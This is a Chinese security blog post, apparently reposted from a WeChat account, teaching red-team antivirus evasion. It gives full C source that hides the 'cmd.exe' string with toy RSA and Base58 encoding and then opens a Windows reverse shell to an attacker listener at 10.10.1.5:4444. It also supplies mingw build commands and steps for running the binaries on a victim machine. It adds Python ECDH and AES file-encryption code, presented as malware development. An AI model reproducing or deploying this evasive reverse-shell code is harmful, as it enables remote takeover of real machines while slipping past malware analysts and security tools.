【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

admin 2024年11月20日13:53:41评论5 views字数 11729阅读39分5秒阅读模式

 

 

【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

 

开始学习

然后,在受害者的 Windows 机器上运行hack.exe :

【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

正如预期的那样,它正在加密并完美解密;我们只是为了演示目的而打印它。

现在,我们尝试应用相同的逻辑来加密字符串。例如,让我们加密和解密cmd.exe 字符串:

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <math.h>// Function to check if a number is primeint is_prime(int n) {  if (n <= 1) {    return 0;  }  for (int i = 2; i <= sqrt(n); i++) {    if (n % i == 0) {      return 0;    }  }  return 1;}// Function to find the greatest common divisor (GCD) of two numbersint gcd(int a, int b) {  while (b != 0) {    int temp = b;    b = a % b;    a = temp;  }  return a;}// Function to find a number e such that 1 < e < phi and gcd(e, phi) = 1int find_public_exponent(int phi) {  int e = 2;  while (e < phi) {    if (gcd(e, phi) == 1) {      return e;    }    e++;  }  return -1; // Error: Unable to find public exponent}// Function to find the modular multiplicative inverse of a numberint mod_inverse(int a, int m) {  for (int x = 1; x < m; x++) {    if ((a * x) % m == 1) {      return x;    }  }  return -1; // Error: Modular inverse does not exist}// Function to perform modular exponentiationint mod_pow(int base, int exp, int mod) {  int result = 1;  while (exp > 0) {    if (exp % 2 == 1) {      result = (result * base) % mod;    }    base = (base * base) % mod;    exp /= 2;  }  return result;}// Function to encrypt a messagevoid encrypt(const unsigned char *message, int message_len, int e, int n, int *ciphertext) {  for (int i = 0; i < message_len; i++) {    ciphertext[i] = mod_pow(message[i], e, n);  }}// Function to decrypt a ciphertextvoid decrypt(const int *ciphertext, int message_len, int d, int n, unsigned char *decrypted_message) {  for (int i = 0; i < message_len; i++) {    decrypted_message[i] = (unsigned char)mod_pow(ciphertext[i], d, n);  }}int main() {  // Step 1: Choose two large prime numbers  int p = 61;  int q = 53;  // Step 2: Compute n (modulus) and phi (Euler's totient function)  int n = p * q;  int phi = (p - 1) * (q - 1);  // Step 3: Choose a public exponent e  int e = find_public_exponent(phi);  if (e == -1) {    printf("Error: Unable to find public exponent.n");    return 1;  }  // Step 4: Compute the private exponent d  int d = mod_inverse(e, phi);  if (d == -1) {    printf("Error: Unable to compute private exponent.n");    return 1;  }  // Display public and private keys  printf("Public Key (n, e): (%d, %d)n", n, e);  printf("Private Key (n, d): (%d, %d)n", n, d);  // Message to be encrypted  const unsigned char original_message[] = "cmd.exe";  int message_len = sizeof((const char *)original_message);  // Array to store ciphertext  int ciphertext[message_len];  // Encrypt the message  encrypt(original_message, message_len, e, n, ciphertext);  // Display encrypted message  printf("encrypted Message: ");  for (int i = 0; i < message_len; i++) {    printf("%d ", ciphertext[i]);  }  printf("n");  // Array to store decrypted message  unsigned char decrypted_message[message_len];  // Decrypt the message  decrypt(ciphertext, message_len, d, n, decrypted_message);  // Display decrypted message  printf("decrypted Message: %sn", decrypted_message);  return 0;}

这里的一切都是一样的;唯一的区别是加密和解密函数:

// Function to encrypt a messagevoid encrypt(const unsigned char *message, int message_len, int e, int n, int *ciphertext) {  for (int i = 0; i < message_len; i++) {    ciphertext[i] = mod_pow(message[i], e, n);  }}// Function to decrypt a ciphertextvoid decrypt(const int *ciphertext, int message_len, int d, int n, unsigned char *decrypted_message) {  for (int i = 0; i < message_len; i++) {    decrypted_message[i] = (unsigned char)mod_pow(ciphertext[i], d, n);  }}

编译它:

$ x86_64-w64-mingw32-gcc -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

然后,在受害者的Windows上运行hack2.exe机器:

【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

我们可以看到,它也按预期工作,因此我们可以使用它来向恶意软件分析师和安全解决方案隐藏字符串。

让我们获取一个加密字符串24,597,2872,1137,3071,55,3071,0 (cmd.exe),对其进行解密,然后启动反向 shell

int message_len = 8;// encrypted message (cmd.exe string)int ciphertext[] = {24,597,2872,1137,3071,55,3071,0};unsigned char decrypted_cmd[message_len]; //decrypted string// Decrypt the messagedecrypt(ciphertext, message_len, d, n, decrypted_cmd);//...CreateProcess(NULL, decrypted_cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);

编译它:

$ x86_64-w64-mingw32-gcc -O2 hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -lws2_32

【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

现在,在 Windows 10 x64虚拟机上运行它:

> .hack3.exe

以下是在受害者的 Windows 机器上运行hack3.exe命令的结果:

【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

一切运行正常;反向 shell 已按预期产生!

实施自定义编码技术

由于哈希和Caesar、Base64和MurmurHash等加密算法是安全领域众所周知的研究人员,他们有时可以可以作为病毒恶意活动的指标,并引起信息安全解决方案不必要的注意。但是自定义加密呢或编码方法?

实例

让我们看看另一个示例。在这里,我们将通过编码cmd.exe字符串来创建 Windows 反向 shell 。对于编码,我将使用 Base58算法:

#include <winsock2.h>#include <string.h>#include <stdio.h>#include <stdlib.h>const char * const ALPHABET =  "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";const char ALPHABET_MAP[128] = {  -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,  -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,  -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,  -1,  0,  1,  2,  3,  4,  5,  6,  7,  8, -1, -1, -1, -1, -1, -1,  -1,  9, 10, 11, 12, 13, 14, 15, 16, -1, 17, 18, 19, 20, 21, -1,  22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, -1, -1, -1, -1, -1,  -1, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, -1, 44, 45, 46,  47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, -1, -1, -1, -1, -1};int base58encode(const unsigned char* input, int len, unsigned char result[]) {  unsigned char digits[len * 137 / 100];  int digitslen = 1;  for (int i = 0; i < len; i++) {    unsigned int carry = (unsigned int) input[i];    for (int j = 0; j < digitslen; j++) {      carry += (unsigned int) (digits[j]) << 8;      digits[j] = (unsigned char) (carry % 58);      carry /= 58;    }    while (carry > 0) {      digits[digitslen++] = (unsigned char) (carry % 58);      carry /= 58;    }  }  int resultlen = 0;  // leading zero bytes  for (; resultlen < len && input[resultlen] == 0;)    result[resultlen++] = '1';  // reverse  for (int i = 0; i < digitslen; i++)    result[resultlen + i] = ALPHABET[digits[digitslen - 1 - i]];  result[digitslen + resultlen] = 0;  return digitslen + resultlen;}int base58decode(  unsigned char const* input, int len, unsigned char *result) {  result[0] = 0;  int resultlen = 1;  for (int i = 0; i < len; i++) {    unsigned int carry = (unsigned int) ALPHABET_MAP[input[i]];    for (int j = 0; j < resultlen; j++) {      carry += (unsigned int) (result[j]) * 58;      result[j] = (unsigned char) (carry & 0xff);      carry >>= 8;    }    while (carry > 0) {      result[resultlen++] = (unsigned int) (carry & 0xff);      carry >>= 8;    }  }  for (int i = 0; i < len && input[i] == '1'; i++)    result[resultlen++] = 0;  for (int i = resultlen - 1, z = (resultlen >> 1) + (resultlen & 1);    i >= z; i--) {    int k = result[i];    result[i] = result[resultlen - i - 1];    result[resultlen - i - 1] = k;  }  return resultlen;}int main() {    unsigned char encoded[] = "4mY3dzArmJ";  unsigned char decoded[16];  int dlen = strlen(encoded);  base58decode(encoded, dlen, decoded);  printf("%sn", decoded); // "cmd.exe"  WSADATA wsaData;  SOCKET wSock;  struct sockaddr_in hax;  STARTUPINFO sui;  PROCESS_INFORMATION pi;  // listener ip, port on attacker's machine  char *ip = "10.10.1.5";  short port = 4444;  // init socket lib  WSAStartup(MAKEWORD(2, 2), &wsaData);  // create socket  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);  hax.sin_family = AF_INET;  hax.sin_port = htons(port);  hax.sin_addr.s_addr = inet_addr(ip);  // connect to remote host  WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);  memset(&sui, 0, sizeof(sui));  sui.cb = sizeof(sui);  sui.dwFlags = STARTF_USESTDHANDLES;  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;  // start the decoded command with redirected streams  CreateProcess(NULL, decoded, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);  exit(0);  return 0;}

逻辑很简单:这个 C 程序旨在通过 Base58 算法解码cmd.exe字符串并生成 Windows反向 shell。

可以看出,base58decode()函数由解码逻辑组成:

int base58decode(  unsigned char const* input, int len, unsigned char *result) {  result[0] = 0;  int resultlen = 1;  for (int i = 0; i < len; i++) {    unsigned int carry = (unsigned int) ALPHABET_MAP[input[i]];    for (int j = 0; j < resultlen; j++) {      carry += (unsigned int) (result[j]) * 58;      result[j] = (unsigned char) (carry & 0xff);      carry >>= 8;    }    while (carry > 0) {      result[resultlen++] = (unsigned int) (carry & 0xff);      carry >>= 8;    }  }  for (int i = 0; i < len && input[i] == '1'; i++)    result[resultlen++] = 0;  for (int i = resultlen - 1, z = (resultlen >> 1) + (resultlen & 1); i >= z; i--) {    int k = result[i];    result[i] = result[resultlen - i - 1];    result[resultlen - i - 1] = k;  }  return resultlen;}

同时,base58encode()函数包括编码逻辑:

int base58encode(const unsigned char* input, int len, unsigned char result[]) {  unsigned char digits[len * 137 / 100];  int digitslen = 1;  for (int i = 0; i < len; i++) {    unsigned int carry = (unsigned int) input[i];    for (int j = 0; j < digitslen; j++) {      carry += (unsigned int) (digits[j]) << 8;      digits[j] = (unsigned char) (carry % 58);      carry /= 58;    }    while (carry > 0) {      digits[digitslen++] = (unsigned char) (carry % 58);      carry /= 58;    }  }  int resultlen = 0;  // leading zero bytes  for (; resultlen < len && input[resultlen] == 0;)    result[resultlen++] = '1';  // reverse  for (int i = 0; i < digitslen; i++)    result[resultlen + i] = ALPHABET[digits[digitslen - 1 - i]];  result[digitslen + resultlen] = 0;  return digitslen + resultlen;}

编译它:

$ x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -lws2_32

【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

在 Windows 10 x64虚拟机上运行它:

> .hack.exe

【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

当然你可以修改脚本通过添加文本和函数名称的混淆。您还可以用更复杂的算法替换 Base58。

椭圆曲线加密 (ECC) 和恶意软件

ECC 是什么?它是如何工作的?这项技术为比特币和以太坊提供支持、加密您的 iMessage,并且是您访问的几乎所有重要网站的一部分。

在公钥密码学领域,ECC 是一种系统。另一方面,这类系统基于困难的“单向”数学问题,这些问题在一个方向上很容易计算,但在另一个方向上却无法解决。这些函数有时被称为“陷门”函数,因为进入很容易,但退出却很难。

1977 年,RSA 算法和Diffie-Hellman 密钥交换算法相继问世。革命性的这些新算法的性质在于它们是第一个基于数论的实用加密方案。此外,它们是第一个允许双方在无需共享秘密的情况下进行安全通信的方案。

例如,当我们讨论素数时,您可能已经注意到,RSA 系统使用一类单向因式分解问题。每个数字都有唯一的素数分解。例如,8 可以表示为 2 的 3 次方,30 是 2*3*5。ECC 不依赖于因式分解,而是求解以下形式的方程(椭圆曲线):

y2 = x3 + ax + b

上述方程称为椭圆曲线的魏尔斯特拉斯公式,其形式如下这:

【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

密码学在攻击领域已经无处不在。安全,甚至比防御性安全更为重要

实例

让我们看看另一个例如。ECC 是如何用于恶意软件开发的?

实施 ECC 无需任何外部库,特别是在Windows API ( WinAPI ) 编程环境中,都是一项非常复杂的任务。ECC 涉及高级数学运算和加密原语,由于其复杂性和安全性考虑,通常由专门的库来处理。

完整的实现将涵盖多个功能,并需要仔细处理加密操作、密钥生成和管理。

我将介绍一个简化的示例,演示如何使用tinyec库在 Python 3 中使用 ECC。此示例包括函数用于通过椭圆曲线 Diffie-Hellman ( ECDH )生成密钥对、文件加密和解密。请注意,此示例并未处理错误检查和密钥管理的所有方面,而这在生产环境中是必需的。

重要提示

ECDH 是密钥协商协议这使得两个参与者能够使用椭圆曲线公钥-私钥对在非安全通道上建立共享秘密。通过利用此共享秘密,您可以直接或间接生成密钥。然后可以使用密钥或派生密钥使用对称密钥密码加密后续通信。使用椭圆曲线加密不同于Diffie-Hellman 协议。

from tinyec import registryfrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesdef generate_keypair(curve):    private_key = int.from_bytes(get_random_bytes(32), byteorder="big") % curve.field.n    public_key = private_key * curve.g    return private_key, public_keydef derive_shared_secret(private_key, public_key):    shared_secret = private_key * public_key    return int.from_bytes(shared_secret.x.to_bytes(32, byteorder="big"), byteorder="big")def encrypt_file(filename, shared_secret):    key = shared_secret.to_bytes(32, byteorder="big")    cipher = AES.new(key, AES.MODE_EAX)    with open(filename, "rb") as file:        plaintext = file.read()        ciphertext, tag = cipher.encrypt_and_digest(plaintext)    with open(filename + ".enc", "wb") as file:        file.write(cipher.nonce)        file.write(tag)        file.write(ciphertext)def decrypt_file(filename, shared_secret):    key = shared_secret.to_bytes(32, byteorder="big")    with open(filename, "rb") as file:        nonce = file.read(16)        tag = file.read(16)        ciphertext = file.read()    cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)    plaintext = cipher.decrypt_and_verify(ciphertext, tag)    with open(filename.replace(".enc", "_decrypted.txt"), "wb") as file:        file.write(plaintext)if __name__ == "__main__":    # Using secp256r1 curve (P-256)    curve = registry.get_curve("secp256r1")    # Alice generates key pair    alice_private_key, alice_public_key = generate_keypair(curve)    # Bob generates key pair    bob_private_key, bob_public_key = generate_keypair(curve)    # Alice derives shared secret from Bob's public key    alice_shared_secret = derive_shared_secret(alice_private_key, bob_public_key)    # Bob derives shared secret from Alice's public key    bob_shared_secret = derive_shared_secret(bob_private_key, alice_public_key)    # Encrypt and decrypt a sample file using the shared secrets    sample_file = "sample.txt"    with open(sample_file, "w") as file:        file.write("Malware Development for Ethical Hackers =^..^=")    encrypt_file(sample_file, alice_shared_secret)    decrypt_file(sample_file + ".enc", bob_shared_secret)

首先,导入必要的库:

from tinyec import registryfrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytes

接下来生成密钥对:

  1. 使用 secp256r1 曲线(P-256),这是一条广泛使用的椭圆曲线。
  2. Alice 生成她的密钥对(私钥和相应的公钥)。
  3. Bob 生成他的密钥对(私钥和相应的公钥):
curve = registry.get_curve("secp256r1")alice_private_key, alice_public_key = generate_keypair(curve)bob_private_key, bob_public_key = generate_keypair(curve)

接下来,Alice 使用她的私钥和 Bob 的公钥派生出一个共享秘密,而 Bob 使用他的私钥和 Alice 的公钥派生出一个共享秘密:

alice_shared_secret = derive_shared_secret(alice_private_key, bob_public_key)bob_shared_secret = derive_shared_secret(bob_private_key, alice_public_key)

我们的主要逻辑涉及使用 AES加密文件:

sample_file = "sample.txt"with open(sample_file, "w") as file:     file.write("Malware Development for Ethical Hackers =^..^=")encrypt_file(sample_file, alice_shared_secret)

现在,使用 AES解密文件:

decrypt_file(sample_file + ".enc", bob_shared_secret)

解密的文件sample_decrypted.txt应该包含原始内容。

原文始发于微信公众号(教父爱分享):【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日13:53:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)http://cn-sec.com/archives/3413459.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息